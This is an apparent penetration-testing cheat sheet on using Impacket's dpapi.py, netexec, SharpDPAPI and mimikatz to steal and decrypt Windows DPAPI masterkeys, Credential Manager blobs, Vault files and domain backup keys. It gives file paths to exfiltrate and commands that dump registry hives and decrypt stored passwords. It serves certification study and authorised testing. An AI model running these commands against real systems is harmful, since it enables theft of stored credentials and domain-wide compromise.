AD^:Active Directory

Impacket dpapi

Identify DPAPI masterkey owners, decrypt Credential Manager blobs, and handle Windows Vault policy files and domain backup keys.

advancedupdated 2026-10-11Impacket · netexec

Impacket dpapi

DPAPI (Data Protection API) is how Windows encrypts saved secrets at rest: Credential Manager entries, saved RDP/browser/Wi-Fi passwords, scheduled-task creds, vault items, and private keys. Each blob is encrypted with a per-user masterkey, and that masterkey is itself encrypted with (derived from) the user’s password + SID — or recoverable with the domain backup key if you own the DC. Steal the files, decrypt offline with Impacket’s dpapi.py.

The file locations (grab these first)

# user masterkeys
C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<masterkey-GUID>

# Credential Manager blobs
C:\Users\<user>\AppData\Roaming\Microsoft\Credentials\<GUID>
C:\Users\<user>\AppData\Local\Microsoft\Credentials\<GUID>

# Vault
C:\Users\<user>\AppData\Local\Microsoft\Vault\

Exfil them (SMB, scp, evil-winrm download). On the target, reveal hidden/system files: dir /a / Get-ChildItem -Force.

1. Decrypt the masterkey

The decrypted masterkey unlocks blobs that reference its GUID. One user can have multiple masterkeys; match each blob to the correct key.

# you know the user's cleartext password + their SID
dpapi.py masterkey \
  -file '08949382-134f-4c63-b93c-ce52efc0aa88' \
  -sid S-1-5-21-3927696377-1337352550-2781715495-1110 \
  -password 'ExamplePassword!'
#   -> Decrypted key: 0x<hex masterkey>

# password unknown but you own the DC: use the domain backup key (no password needed)
dpapi.py backupkeys -t domain.htb/administrator@dc.domain.htb -k -no-pass --export
dpapi.py masterkey -file '<masterkey>' -sid '<SID>' -pvk key.pvk
masterkey flagMeaning
-filethe masterkey file (named by GUID)
-sidthe owning user’s SID (the dir name under Protect\)
-passwordthat user’s cleartext password
-pvkdomain backup private key (.pvk) — decrypts matching domain-backed user masterkeys
-keya raw masterkey you already have
-system / -securitySYSTEM/SECURITY hives — for machine (LocalSystem) masterkeys
-t, -k, -dc-ipask the DC to decrypt (online, Kerberos/creds)

2. Decrypt the credential blob with that masterkey

dpapi.py credential \
  -file '772275FAD58525253490A9B0039791D3' \
  -key '0x<decrypted masterkey hex from step 1>'
#   -> Username : svc_backup
#      Unknown  : <the cleartext password / secret>
credential flagMeaning
-filethe Credential Manager blob (GUID-named)
-keythe decrypted masterkey from step 1

unprotect accepts a raw DPAPI blob. Windows Vault uses different flags and a policy-key step:

# Policy.vpol is protected by the matching DPAPI masterkey
dpapi.py vault -vpol Policy.vpol -key '0x<decrypted-masterkey>'
# Use the AES vault key printed by the policy step, not the DPAPI masterkey
dpapi.py vault -vcrd credential.vcrd -key '0x<vault-key-from-policy>'

If a Vault credential contains multiple encrypted attributes, the applicable policy key can differ. Inspect the policy output before trying keys.

Machine (SYSTEM) secrets

For secrets protected by LocalSystem (service accounts, some scheduled tasks), the masterkey is decrypted from the SYSTEM + SECURITY hives, not a user password:

# dump the hives first (reg save / secretsdump LOCAL), then:
dpapi.py masterkey -file '<machine-masterkey>' -system SYSTEM -security SECURITY
dpapi.py credential -file '<blob>' -key '0x<machine-masterkey>'

Faster path: let the tooling do it live

If you have an interactive context, these automate the find+decrypt:

# NetExec DPAPI module — pulls + decrypts user/system DPAPI secrets over the wire
netexec smb dc.domain.htb -u user -p pass --dpapi
# on-host (C#): SharpDPAPI / Mimikatz
#   SharpDPAPI.exe credentials /password:<pw>
#   mimikatz: dpapi::masterkey /in:<file> /sid:<sid> /password:<pw>  then  dpapi::cred /in:<blob>

[!tip] The two-step is the whole trick Masterkey → -key → credential. The GUID in a credential blob’s output often names which masterkey decrypts it; match the credential’s required masterkey GUID to the file under Protect\<SID>\.

[!warning] Watch out

  • SID must match the masterkey owner — it’s the directory name under Protect\, not a guess. Wrong SID = decryption fails silently.
  • Password must be the owner’s, at the time the masterkey was created — a since-changed password won’t decrypt old masterkeys (that’s what credhist / the backup key are for).
  • Domain backup key (-pvk) is the master skeleton — it can decrypt domain-backed masterkeys from that domain without knowing the user passwords. Owning it = owning all stored creds. dpapi.py backupkeys --export needs DA-equivalent.
  • 0x prefix on -key — pass the decrypted masterkey exactly as step 1 printed it, including 0x.
  • Machine vs user: a LocalSystem blob won’t decrypt with a user password; use -system/-security.

Preserve the owner-to-key mapping

whoami /user
Get-ChildItem -Force "$env:APPDATA\Microsoft\Protect"
Get-ChildItem -Force "$env:APPDATA\Microsoft\Credentials"

Inspect a credential file without -key to identify its referenced masterkey GUID. Keep the owner’s SID, masterkey GUID and original file path together; do not rename all GUID files to masterkey and lose that relationship.

Success: the credential decrypts into a meaningful target, identity and secret. A parsed header is not a decrypted credential. A domain backup key does not unlock unrelated local-user keys or every application-specific secret; browser application-bound encryption may require a different recovery path.

Capture only redacted decryption evidence in the report. Keep exported .pvk files and raw hives with the credential evidence, rather than publishing them as attachments.

See Also

Sources

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.